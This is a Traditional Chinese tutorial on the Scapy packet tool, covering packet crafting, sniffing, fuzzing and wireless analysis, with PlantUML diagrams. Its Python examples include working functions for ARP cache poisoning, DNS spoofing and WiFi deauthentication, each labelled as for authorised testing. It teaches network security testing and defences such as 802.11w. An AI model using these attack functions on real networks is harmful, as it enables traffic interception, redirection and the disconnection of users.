skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 120

package "Zigbee 協定堆疊" {
  component "應用層 (APL)" as APL {
    component "應用框架" as AF
    component "Zigbee 裝置物件" as ZDO
  }
  
  component "網路層 (NWK)" as NWK {
    component "路由管理" as Route
    component "網路管理" as NetMgmt
  }
  
  component "MAC 層" as MAC {
    component "CSMA/CA" as CSMA
    component "資料服務" as DataServ
  }
  
  component "實體層 (PHY)" as PHY {
    component "2.4GHz 射頻" as RF
  }
}

APL --> NWK : 資料傳遞
NWK --> MAC : 封包路由
MAC --> PHY : 媒體存取

note right of APL
  應用設定檔:
  - 家庭自動化
  - 智慧能源
  - 醫療保健
end note

note right of NWK
  網路拓撲:
  - 星狀
  - 樹狀
  - 網狀
end note

note right of MAC
  頻道存取:
  - 信標啟用
  - 非信標模式
end note

@enduml

Scapy 核心功能實務應用

Scapy 提供的封包操作功能涵蓋了網路測試與分析的各個面向。封包生成與傳送功能允許工程師精確控制每個協定層的內容,從第二層的 MAC 位址到第七層的應用資料,都能夠依據需求自訂。這種靈活性使得 Scapy 能夠模擬各種網路行為,進行功能測試、效能測試與安全測試。

send 函式在第三層網路層發送封包,適合需要路由的通訊場景。系統會自動處理第二層的 MAC 位址解析與封包封裝,簡化了上層協定的測試流程。sendp 函式則直接在第二層發送封包,提供了完整的控制能力,適合需要精確控制乙太網路幀內容的測試場景,例如 ARP 欺騙、VLAN 標記測試等。

from scapy.all import *
import time

# Scapy 核心功能綜合應用範例
# 展示各種封包操作技術的實務應用

def send_custom_tcp_packet(dst_ip, dst_port, payload):
    """
    發送自訂 TCP 封包
    
    Args:
        dst_ip: 目標 IP 位址
        dst_port: 目標埠號
        payload: 負載資料
    """
    # 建立 IP 層
    # dst: 目標位址
    # ttl: 存活時間
    # id: 封包識別碼
    ip = IP(dst=dst_ip, ttl=64, id=RandShort())
    
    # 建立 TCP 層
    # dport: 目標埠號
    # sport: 來源埠號(隨機)
    # flags: TCP 標誌(SYN)
    # seq: 序號(隨機)
    # window: 視窗大小
    tcp = TCP(
        dport=dst_port,
        sport=RandShort(),
        flags="S",
        seq=RandInt(),
        window=8192
    )
    
    # 組合封包
    packet = ip/tcp/payload
    
    # 發送封包
    # verbose: 設為 0 隱藏輸出
    send(packet, verbose=0)
    print(f"已發送 TCP 封包至 {dst_ip}:{dst_port}")

def send_layer2_packet(dst_mac, src_mac, payload):
    """
    發送第二層封包
    
    Args:
        dst_mac: 目標 MAC 位址
        src_mac: 來源 MAC 位址  
        payload: 負載資料
    """
    # 建立乙太網路層
    # dst: 目標 MAC 位址
    # src: 來源 MAC 位址
    # type: EtherType(0x0800 為 IPv4)
    ether = Ether(dst=dst_mac, src=src_mac, type=0x0800)
    
    # 組合封包
    packet = ether/payload
    
    # 在第二層發送封包
    # iface: 網路介面
    # verbose: 設為 0 隱藏輸出
    sendp(packet, iface="eth0", verbose=0)
    print(f"已發送第二層封包至 {dst_mac}")

def sniff_and_analyze(interface, filter_rule, packet_count):
    """
    捕捉並分析網路封包
    
    Args:
        interface: 網路介面名稱
        filter_rule: BPF 過濾規則
        packet_count: 捕捉封包數量
        
    Returns:
        捕捉到的封包清單
    """
    print(f"開始在 {interface} 上捕捉封包...")
    print(f"過濾規則: {filter_rule}")
    
    # 定義封包處理函式
    def packet_handler(packet):
        """處理每個捕捉到的封包"""
        # 顯示封包摘要
        print(f"\n捕捉到封包:")
        print(packet.summary())
        
        # 詳細分析 IP 封包
        if packet.haslayer(IP):
            ip = packet[IP]
            print(f"來源 IP: {ip.src}")
            print(f"目標 IP: {ip.dst}")
            print(f"協定: {ip.proto}")
            print(f"TTL: {ip.ttl}")
            
            # 分析 TCP 封包
            if packet.haslayer(TCP):
                tcp = packet[TCP]
                print(f"來源埠: {tcp.sport}")
                print(f"目標埠: {tcp.dport}")
                print(f"序號: {tcp.seq}")
                print(f"確認號: {tcp.ack}")
                print(f"標誌: {tcp.flags}")
                
                # 提取負載
                if packet.haslayer(Raw):
                    payload = packet[Raw].load
                    print(f"負載長度: {len(payload)} 位元組")
                    print(f"負載內容: {payload[:50]}...")  # 顯示前 50 位元組
    
    # 捕捉封包
    # iface: 網路介面
    # filter: BPF 過濾規則
    # prn: 封包處理函式
    # count: 捕捉數量
    # timeout: 逾時時間(秒)
    packets = sniff(
        iface=interface,
        filter=filter_rule,
        prn=packet_handler,
        count=packet_count,
        timeout=30
    )
    
    print(f"\n總共捕捉 {len(packets)} 個封包")
    return packets

def arp_poison_attack(target_ip, gateway_ip, interface):
    """
    執行 ARP 欺騙攻擊(僅供測試用途)
    
    Args:
        target_ip: 目標主機 IP
        gateway_ip: 閘道 IP
        interface: 網路介面
    """
    # 警告訊息
    print("警告: ARP 欺騙僅供授權測試使用")
    
    # 取得目標與閘道的 MAC 位址
    # sr1: 發送封包並接收單一回應
    target_mac = getmacbyip(target_ip)
    gateway_mac = getmacbyip(gateway_ip)
    
    if not target_mac or not gateway_mac:
        print("無法取得 MAC 位址")
        return
    
    print(f"目標 MAC: {target_mac}")
    print(f"閘道 MAC: {gateway_mac}")
    
    # 建立欺騙封包
    # 告訴目標主機:我是閘道
    # op: 操作碼(2 為 ARP 回應)
    # psrc: 假冒的來源 IP(閘道)
    # pdst: 目標 IP
    # hwdst: 目標 MAC
    poison_target = ARP(
        op=2,
        psrc=gateway_ip,
        pdst=target_ip,
        hwdst=target_mac
    )
    
    # 告訴閘道:我是目標主機
    poison_gateway = ARP(
        op=2,
        psrc=target_ip,
        pdst=gateway_ip,
        hwdst=gateway_mac
    )
    
    print("開始 ARP 欺騙...")
    try:
        # 持續發送欺騙封包
        while True:
            # 發送給目標
            send(poison_target, iface=interface, verbose=0)
            # 發送給閘道
            send(poison_gateway, iface=interface, verbose=0)
            # 每 2 秒發送一次
            time.sleep(2)
    except KeyboardInterrupt:
        print("\n停止 ARP 欺騙")
        # 恢復正常 ARP 快取
        restore_arp = ARP(
            op=2,
            psrc=gateway_ip,
            hwsrc=gateway_mac,
            pdst=target_ip,
            hwdst=target_mac
        )
        send(restore_arp, count=5, iface=interface, verbose=0)
        print("已恢復 ARP 快取")

def dns_spoof(target_ip, spoofed_domain, spoofed_ip):
    """
    DNS 欺騙攻擊(僅供測試用途)
    
    Args:
        target_ip: 目標 IP
        spoofed_domain: 要欺騙的網域
        spoofed_ip: 假冒的 IP 位址
    """
    print(f"DNS 欺騙: {spoofed_domain} -> {spoofed_ip}")
    
    def dns_responder(packet):
        """回應 DNS 查詢"""
        # 檢查是否為 DNS 查詢
        if packet.haslayer(DNSQR):
            # 取得查詢的網域
            queried_domain = packet[DNSQR].qname.decode()
            
            # 如果查詢的是目標網域
            if spoofed_domain in queried_domain:
                print(f"攔截 DNS 查詢: {queried_domain}")
                
                # 建立欺騙回應
                # 複製原始封包並修改
                spoofed_pkt = IP(
                    dst=packet[IP].src,
                    src=packet[IP].dst
                )/UDP(
                    dport=packet[UDP].sport,
                    sport=packet[UDP].dport
                )/DNS(
                    id=packet[DNS].id,
                    qr=1,  # Response
                    aa=1,  # Authoritative
                    qd=packet[DNS].qd,
                    an=DNSRR(
                        rrname=packet[DNSQR].qname,
                        ttl=10,
                        rdata=spoofed_ip
                    )
                )
                
                # 發送欺騙回應
                send(spoofed_pkt, verbose=0)
                print(f"已發送欺騙回應: {spoofed_ip}")
    
    # 監聽 DNS 查詢
    print("開始監聽 DNS 查詢...")
    sniff(filter="udp port 53", prn=dns_responder, store=0)

def packet_fuzzing(target_ip, target_port, protocol="TCP"):
    """
    封包模糊測試
    
    Args:
        target_ip: 目標 IP
        target_port: 目標埠號
        protocol: 協定類型
    """
    print(f"開始對 {target_ip}:{target_port} 進行 {protocol} 模糊測試")
    
    # 建立基礎封包
    ip = IP(dst=target_ip)
    
    if protocol == "TCP":
        # TCP 模糊測試
        # 使用 fuzz 函式隨機化欄位
        for i in range(100):
            # 建立隨機化的 TCP 層
            tcp = fuzz(TCP(dport=target_port))
            packet = ip/tcp/Raw(RandString(size=RandNum(0, 100)))
            
            # 發送並記錄回應
            response = sr1(packet, timeout=1, verbose=0)
            
            if response:
                print(f"測試 {i+1}: 收到回應 {response.summary()}")
            else:
                print(f"測試 {i+1}: 無回應")
    
    elif protocol == "UDP":
        # UDP 模糊測試
        for i in range(100):
            udp = fuzz(UDP(dport=target_port))
            packet = ip/udp/Raw(RandString(size=RandNum(0, 100)))
            send(packet, verbose=0)
            print(f"測試 {i+1}: 已發送模糊封包")

# 使用範例(註解以避免意外執行)

# 發送自訂 TCP 封包
# send_custom_tcp_packet("192.168.1.100", 80, b"GET / HTTP/1.1\r\n\r\n")

# 發送第二層封包
# send_layer2_packet("ff:ff:ff:ff:ff:ff", "00:11:22:33:44:55", IP()/TCP())

# 捕捉並分析封包
# packets = sniff_and_analyze("eth0", "tcp port 80", 10)

# 執行封包模糊測試
# packet_fuzzing("192.168.1.100", 80, "TCP")

sniff 函式提供了強大的封包捕捉功能,支援 BPF 過濾語法精確控制要捕捉的封包類型。透過設定回呼函式,每個捕捉到的封包都能即時進行處理與分析,這在需要即時反應的場景中特別有用,例如入侵偵測系統、網路監控等。捕捉到的封包可以儲存供後續分析,或是直接在記憶體中處理以提升效能。

封包分析功能讓工程師能夠深入檢視封包的每個欄位與層級。IPID_count 功能透過分析 IP 識別碼的變化模式來推測主機的活動狀態,這在隱密掃描中特別有用。arpcachepoison 功能展示了 ARP 欺騙攻擊的原理,雖然這是一種攻擊技術,但理解其運作機制對於防禦這類攻擊至關重要。arping 功能提供了主機發現能力,透過發送 ARP 請求來識別區域網路中的活躍主機。

無線網路安全技術

802.11 協定家族定義了無線區域網路的運作標準,從早期的 802.11b 到現代的 802.11ax,每個版本都帶來了速度與功能的提升。802.11w 管理訊框保護擴展針對無線網路管理訊框的安全性問題提供了解決方案。在沒有保護的情況下,管理訊框容易遭受欺騙與干擾攻擊,攻擊者可以發送偽造的解除關聯或解除認證訊框,強制切斷合法使用者的連線。

from scapy.all import *

# 無線網路安全分析範例
# 展示如何使用 Scapy 分析無線網路流量與安全機制

def scan_wireless_networks(interface):
    """
    掃描無線網路
    
    Args:
        interface: 無線網路介面(需處於監聽模式)
        
    Returns:
        發現的網路清單
    """
    networks = {}
    
    def packet_handler(packet):
        """處理信標與探測回應"""
        # 檢查是否為信標或探測回應
        if packet.haslayer(Dot11Beacon) or packet.haslayer(Dot11ProbeResp):
            # 取得 BSSID(AP 的 MAC 位址)
            bssid = packet[Dot11].addr2
            
            # 取得 SSID
            try:
                ssid = packet[Dot11Elt].info.decode()
            except:
                ssid = "<隱藏>"
            
            # 取得頻道
            stats = packet[Dot11Beacon] if packet.haslayer(Dot11Beacon) else packet[Dot11ProbeResp]
            
            # 解析信標中的資訊元素
            channel = None
            crypto = set()
            
            elt = packet[Dot11Elt]
            while elt:
                # 頻道資訊(Element ID = 3)
                if elt.ID == 3:
                    channel = ord(elt.info)
                
                # RSN 資訊(Element ID = 48)
                elif elt.ID == 48:
                    crypto.add("WPA2")
                
                # WPA 資訊(Element ID = 221)
                elif elt.ID == 221 and elt.info.startswith(b'\x00P\xf2\x01\x01\x00'):
                    crypto.add("WPA")
                
                # 移動到下一個元素
                if elt.payload:
                    elt = elt.payload.getlayer(Dot11Elt)
                else:
                    break
            
            # 儲存網路資訊
            if bssid not in networks:
                networks[bssid] = {
                    'ssid': ssid,
                    'channel': channel,
                    'crypto': crypto if crypto else {'開放'},
                    'signal': packet.dBm_AntSignal if hasattr(packet, 'dBm_AntSignal') else 0
                }
                
                print(f"\n發現網路:")
                print(f"SSID: {ssid}")
                print(f"BSSID: {bssid}")
                print(f"頻道: {channel}")
                print(f"加密: {', '.join(networks[bssid]['crypto'])}")
                print(f"訊號: {networks[bssid]['signal']} dBm")
    
    # 捕捉信標與探測回應
    print(f"開始掃描無線網路(介面: {interface})...")
    sniff(
        iface=interface,
        prn=packet_handler,
        timeout=30,
        store=0
    )
    
    return networks

def deauth_attack(target_ap, target_client, interface, count=10):
    """
    解除認證攻擊(僅供測試用途)
    
    Args:
        target_ap: 目標 AP 的 MAC 位址
        target_client: 目標客戶端的 MAC 位址
        interface: 無線網路介面(需處於監聽模式)
        count: 發送封包數量
    """
    print(f"警告: 解除認證攻擊僅供授權測試使用")
    print(f"目標 AP: {target_ap}")
    print(f"目標客戶端: {target_client}")
    
    # 建立解除認證封包
    # type: 0 表示管理訊框
    # subtype: 12 表示解除認證
    # addr1: 接收者位址
    # addr2: 傳送者位址
    # addr3: BSSID
    deauth_packet = RadioTap() / Dot11(
        type=0,
        subtype=12,
        addr1=target_client,
        addr2=target_ap,
        addr3=target_ap
    ) / Dot11Deauth(reason=7)  # 原因: 未經認證的類別 3 訊框
    
    # 發送解除認證封包
    print(f"發送 {count} 個解除認證封包...")
    sendp(deauth_packet, iface=interface, count=count, inter=0.1, verbose=0)
    print("完成")

def analyze_wpa_handshake(pcap_file):
    """
    分析 WPA 握手封包
    
    Args:
        pcap_file: PCAP 檔案路徑
    """
    print(f"分析 WPA 握手: {pcap_file}")
    
    # 讀取 PCAP 檔案
    packets = rdpcap(pcap_file)
    
    handshake_packets = []
    
    for packet in packets:
        # 檢查是否為 EAPOL 封包(WPA 握手)
        if packet.haslayer(EAPOL):
            eapol = packet[EAPOL]
            
            # 取得 AP 與客戶端位址
            ap_mac = packet[Dot11].addr1
            client_mac = packet[Dot11].addr2
            
            # 判斷 EAPOL 訊息類型
            # Key Information 欄位包含訊息編號資訊
            if hasattr(eapol, 'key_info'):
                key_info = eapol.key_info
                
                # 訊息 1: AP -> Client (Pairwise, ACK)
                if key_info & 0x0088 == 0x0088:
                    msg_type = "訊息 1/4"
                
                # 訊息 2: Client -> AP (Pairwise, MIC)
                elif key_info & 0x0108 == 0x0108:
                    msg_type = "訊息 2/4"
                
                # 訊息 3: AP -> Client (Pairwise, Install, ACK, MIC)
                elif key_info & 0x13c8 == 0x13c8:
                    msg_type = "訊息 3/4"
                
                # 訊息 4: Client -> AP (Pairwise, MIC)
                elif key_info & 0x0308 == 0x0308:
                    msg_type = "訊息 4/4"
                
                else:
                    msg_type = "未知"
                
                handshake_packets.append({
                    'type': msg_type,
                    'ap': ap_mac,
                    'client': client_mac,
                    'packet': packet
                })
                
                print(f"{msg_type}: {ap_mac} <-> {client_mac}")
    
    # 檢查是否捕捉到完整握手
    if len(handshake_packets) >= 4:
        print(f"\n成功捕捉到完整的 WPA 握手({len(handshake_packets)} 個封包)")
    else:
        print(f"\n握手不完整,僅捕捉到 {len(handshake_packets)} 個封包")
    
    return handshake_packets

# 使用範例(註解以避免意外執行)

# 掃描無線網路
# networks = scan_wireless_networks("wlan0mon")

# 分析 WPA 握手
# handshake = analyze_wpa_handshake("capture.pcap")

802.11w 透過對管理訊框進行加密與完整性保護,防止這類攻擊的發生。在啟用 802.11w 的網路中,關鍵的管理訊框會使用會話金鑰進行保護,未經授權的裝置無法偽造有效的管理訊框。這項技術在公共場所的無線網路中特別重要,能夠有效防止惡意攻擊者干擾正常使用者的連線。

藍牙低功耗技術專為物聯網應用設計,透過簡化的協定堆疊與最佳化的通訊流程來降低功耗。BLE 裝置可以在紐扣電池供電的情況下運作數月甚至數年,這使其成為穿戴式裝置、感測器網路等應用的理想選擇。BLE 的廣告機制允許裝置週期性廣播其存在與服務資訊,其他裝置可以掃描這些廣告訊息來發現附近的 BLE 裝置。

虛擬區域網路技術透過在乙太網路幀中新增 VLAN 標記來實現邏輯網路分割。這種技術能夠在單一實體網路上建立多個邏輯上隔離的網路,提升網路安全性與管理效率。不同 VLAN 之間的流量預設無法直接通訊,需要透過第三層路由裝置進行轉發,這提供了額外的安全控制點。

地址解析協定在 IP 網路通訊中扮演基礎角色,負責將 IP 位址轉換為對應的 MAC 位址。雖然 ARP 協定設計簡單高效,但其缺乏安全機制,容易遭受欺騙攻擊。攻擊者可以發送偽造的 ARP 回應,將特定 IP 位址對應到錯誤的 MAC 位址,從而攔截或干擾網路流量。理解 ARP 的運作機制與潛在風險,對於實施有效的網路安全防護至關重要。

@startuml
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 120

participant "無線客戶端" as Client
participant "存取點 (AP)" as AP
participant "認證伺服器" as Auth

== 開放系統認證 ==
Client -> AP: 認證請求
AP -> Client: 認證回應(成功)

== 關聯階段 ==
Client -> AP: 關聯請求\n(能力資訊)
AP -> Client: 關聯回應\n(關聯 ID)

== WPA2 四次握手 ==
AP -> Client: 訊息 1/4\n(ANonce)
Client -> Client: 產生 PTK
Client -> AP: 訊息 2/4\n(SNonce, MIC)
AP -> AP: 驗證 MIC\n產生 GTK
AP -> Client: 訊息 3/4\n(GTK, MIC)
Client -> Client: 安裝金鑰
Client -> AP: 訊息 4/4\n(MIC)
AP -> AP: 安裝金鑰

== 加密通訊 ==
Client -> AP: 加密資料\n(使用 PTK)
AP -> Client: 加密資料\n(使用 PTK)

== 802.11w 管理訊框保護 ==
Client -> AP: 受保護的管理訊框\n(使用 IGTK)
AP -> Client: 受保護的管理訊框\n(使用 IGTK)

@enduml

技術發展趨勢與應用展望

隨著雲端運算與虛擬化技術的普及,網路環境變得更加複雜與動態。Scapy 在這些新興環境中的應用也在不斷擴展,虛擬機器之間的網路流量分析、容器網路的除錯、軟體定義網路的測試等場景都需要靈活的封包操作能力。透過整合到自動化測試框架中,Scapy 能夠協助確保虛擬化網路環境的穩定性與安全性。

人工智慧與機器學習技術在網路安全領域的應用正在快速發展。Scapy 收集的封包資料可以作為訓練資料,用於開發異常偵測模型、攻擊識別系統等。透過分析大量的正常與異常網路流量,機器學習模型能夠學習識別新型態的攻擊行為,提供更智慧的安全防護。這種結合傳統封包分析工具與現代機器學習技術的方法,將是未來網路安全研究的重要方向。

物聯網裝置的大量部署帶來了新的安全挑戰,這些裝置通常資源受限,無法運作複雜的安全機制,同時又處理敏感資料或控制關鍵設施。Scapy 在物聯網安全研究中能夠發揮重要作用,協助分析各種物聯網協定的安全性,識別潛在漏洞,驗證安全機制的有效性。從 Zigbee 到 LoRaWAN,從藍牙到 NB-IoT,Scapy 的擴展性使其能夠適應各種物聯網通訊技術的分析需求。

網路安全防禦技術也在持續演進,零信任架構、微分段、行為分析等新型安全概念需要更精細的網路可見性與控制能力。Scapy 提供的深度封包操作能力能夠協助實現這些進階安全機制,例如透過精確控制封包內容來測試微分段規則的有效性,或是收集詳細的網路行為資料供分析系統使用。在未來的網路安全架構中,像 Scapy 這樣靈活且強大的工具將繼續扮演重要角色,協助工程師應對不斷演變的安全威脅。

透過深入理解 Scapy 支援的各種協定與功能,掌握其在不同場景中的應用技巧,網路工程師與安全研究人員能夠更有效地進行網路分析、安全測試與協定開發工作。無論是傳統的企業網路環境,還是新興的雲端與物聯網應用,Scapy 提供的完整工具集都能夠滿足各種網路操作與分析需求,協助建立更安全、更可靠的網路基礎設施。